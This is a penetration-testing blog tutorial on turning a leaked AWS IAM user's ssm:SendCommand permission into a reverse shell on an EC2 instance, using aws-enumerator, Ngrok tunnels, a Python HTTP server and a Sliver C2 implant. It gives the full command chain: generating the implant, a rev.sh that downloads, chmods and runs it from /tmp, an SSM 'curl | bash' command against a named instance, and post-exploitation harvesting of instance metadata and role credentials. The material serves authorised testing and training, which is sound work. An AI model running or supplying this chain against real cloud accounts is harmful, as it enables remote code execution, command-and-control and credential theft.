AWS Pentesting: Reverse shell using Sliver C2 by abusing SSM
In this blog, we will show how to get a reverse shell or a callback from an EC2 instance with the use of ssm:SendCommand permission or action. We will also use different tool sets for this use case such as Sliver C2 to catch the shell and Ngrok to expose our local HTTP Python server.
Lets discuss first what is SSM. AWS Systems Manager or SSM helps users to centrally view, manage, and operate nodes at scale in AWS, on-premises, and multicloud environments. It consolidates various tools to help users to complete common node tasks across AWS accounts and Regions. One of the node that SSM can manage is EC2. An IAM user with a ssm:SendCommand permission can send command to the EC2 instance as if that user has a remote code execution on that instance.
Azure Automation combined with Azure Run Command might be the equivalent service in Azure.
Sliver is an actively maintained C2 server from Bishop Fox which we can download from this link. A C2 server, or Command and Control server, is a tool used by threat actors and cyber security professionals to control and coordinate cyber attacks or simulated cyber attacks. C2 servers are the central point of cyberattacks or simulated attacks, allowing attackers or operators to remotely manage their operations.
Ngrok is a cross-platform, reverse proxy application that enables developers to expose a local server to the Internet with minimal effort. This removes the hassle of setting up or acquiring a public IP so that your local server is reachable from the internet.
Now, the demo or blog would start with us as a tester having an AWS Access Key ID of an IAM user. This could be provided by the client as part of prerequisites ( assumed breach scenario), a tester may got it from an exposed .env file or from other vulnerabilities.
(Note, as I am using my own AWS Keys and own Ngrok, screenshots may be redacted. Also note that in this demo we are not mindful of the noise or the logs that our tools will generate because the assumption is that this is a pentest engagement not a Red Teaming engagement:)
Lets configure the AWS keys using the following command below:
aws configure --profile <profile name>
aws configure --profile rootaddict
aws sts get-caller-identity --profile rootaddict
As usual, We can use aws-enumerator script or other similar tool to brutefoce for permissions allowed in our current IAM user.
./aws-enumerator cred -aws_access_key_id <key id> -aws_secret_access_key <secret> -aws_region us-east-1
./aws-enumerator enum all
./aws-enumerator dump -services ssm,ec2
The images above shows that our user has some permission to SSM and EC2. Lets review this further. We can run Cloudfox as shown below to get a high level visibility of the services used by the client.
Next, lets run “list-user-policies” to check the inline policies attached for our IAM user.
aws iam list-user-policies --user-name <user name> --profile <profile name>
aws iam list-user-policies --user-name rootaddict --profile rootaddict
The image above shows that there is an inline policy named “TestIAMInlinePolicy” attached to our “rootaddict” IAM user. At this point, it is best to check if there are customer managed policy attached, check the roles, check the group membership and their respective policies if there are any. In this lab, I didnt set them so lets move on. For more info on IAM enumeration, refer to this blog.
Lets then check the policy document by running the “get-user-policy” command below.
aws iam get-user-policy --user-name <user name> --policy-name <policy name> --profile <profile name>
aws iam get-user-policy --user-name rootaddict --policy-name TestIAMInlinePolicy --profile rootaddict
The policy document explains why we can list the inline policies, some of these actions where detected by aws-enumerator. The most interesting of these actions is the “ssm:SendCommand” action or permission to an EC2 instance i-0deeb1dee6049e063. “ssm:SendCommand” is a powerful AWS Systems Manager permission that allows users to remotely execute commands on managed EC2 instances
Lets recon further the details of the EC2 using describe-instances and describe-instance-information commands.
aws ec2 describe-instances --profile <profile name>
aws ec2 describe-instances --profile rootaddict
aws ssm describe-instance-information --profile <profile name>
aws ssm describe-instance-information --profile rootaddict
Setting the call back
Ngrok
Lets start Ngrok. To avoid confusion, its best to have four or five bash terminals. One for Ngrok, one for Sliver, one for the Python HTTP server and one terminal where we run aws cli commands.
If using Ubuntu, Kali, or similar linux distro, you can copy paste the command below to install Ngrok.
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
| sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null \
&& echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
| sudo tee /etc/apt/sources.list.d/ngrok.list \
&& sudo apt update \
&& sudo apt install ngrok
To use Ngrok, you need to register an account so you can get an API Key or Token.
Run the command below to set up your API Key or Token.
ngrok config add-authtoken 2a<redacted-token-here>
For this demo, we will use multiple tunnels. For example, the image below shows its possible to tunnel the HTTP traffic on port 9998 to TCP port 9999.
Edit the /.config/ngrok/ngrok.yml file so we can configure for multiple tunnels.
authtoken: YOUR_AUTH_TOKEN
tunnels:
http9998:
proto: http
addr: 9998
tcp9999:
proto: tcp
addr: 9999
Lets run Ngrok by using the commands below. Again this means, traffic to http port 9998 will be forwarded to TCP port 9999.
ngrok start http9998 tcp9999
tcp://0.tcp.ap.ngrok.io:19963 -> localhost:9999
https://0d6a-1<redacted>.ngrok-free.app
The image above shows we have two URLS. One with TCP and one with HTTPS. Lets take note of these values as we will need them in the next steps.
Sliver C2
Next, download Sliver from this link if you still dont have it in your Linux machine. Read the documentation found in this link.
Lets then run Sliver using the following commands below.
The mtls command is for setting up the listener. Its similar to setting a listener with Netcat ( nc -l 9999). The “generate” command is for generating the payload. Pay attention to the last part ( the 0.tcp.ap.ngrok.io:19963) . This is the value we got from the TCP part in Ngrok.
sudo systemctl start sliver
sliver
mtls -l 9999
generate --os linux --skip-symbols --mtls 0.tcp.ap.ngrok.io:19963
The image above shows that a payload or binary named VOICELESS_CORK was created. This is saved in our current working directory.
In another terminal, lets run a Python HTTP server to serve or host the VOICELESS_CORK binary.
Set up a Python HTTP server using the command below. ( Notice that we used port 9998 instead of 9999 that was used earlier)
python3 -m http.server 9998
Then lets create another file. In this lab, we named it as “rev.sh”. The contents of this file is shown below. Basically, this script wraps the wget ( this assumes that wget is installed in the target EC2, we could also use Curl, which is available by default in most Linux distro) and chmod command. The script ultimately executes the copied version of the VOICELESS_CORK binary in the target EC2 instance.
#!/bin/bash
wget http://0d6a-1<redacted>.ngrok-free.app/VOICELESS_CORK -O /tmp/inec2.sh
chmod 777 /tmp/inec2.sh
/tmp/inec2.sh
Exploitation
Lets then run the “ssm send-command” command to download the rev.sh file from our local machine ( accessible because of Ngrok). This rev.sh downloads the VOICELESS_CORK binary which will be saved in the disk of the target EC2. Rev.sh will then execute the payload that will eventually trigger a call back to our Sliver C2.
aws --profile rootaddict ssm send-command --instance-ids "i-0deeb1dee6049e063" --document-name "AWS-RunShellScript" --output text --parameters commands="curl https://0d6a-<redacted>.ngrok-free.app/rev.sh | bash"
The image below shows that there are traffic hitting our local HTTP Python server when the command on SSM made a request to the Ngrok endpoint. Note that two HTTP requests were made. One for rev.sh and another for the Sliver payload binary.
In another terminal running Ngrok, traffic requesting for the two files also shows.
Reviewing the terminal where Sliver C2 is running shows that we now have a call back.
We can then run the following commands to interact with the session coming from the EC2 instance.
sessions
use <name of the session>
shell
We can then use this script from Hacktricks to get the EC2 User Data, EC2 IMDS, among other info from the EC2. If you want of course, you can run each command separately.
The image above shows that there is an IAM role that is attached to the EC2. We can then get the role to do a another recon, use it with aws-enumerator, Cloudfox, Prowler, Scout Suite to dig deeper into the customer environment.
Run the commands below to stop the C2 server.
exit
sudo systemctl stop sliver
Conclusion
In this blog, we showed how we can get a reverse shell from an EC2 instance if our IAM user has ssm:SendCommand SSM permission. To achieve our objective, we used tools such as aws-enumerator, Ngrok to expose our local server, Sliver C2 to catch sessions and Python to set up a local server.
References
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.html?highlight=ssm#ssm
https://github.com/BishopFox/sliver
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
https://www.sans.org/cyber-security-courses/cloud-penetration-testing/
https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html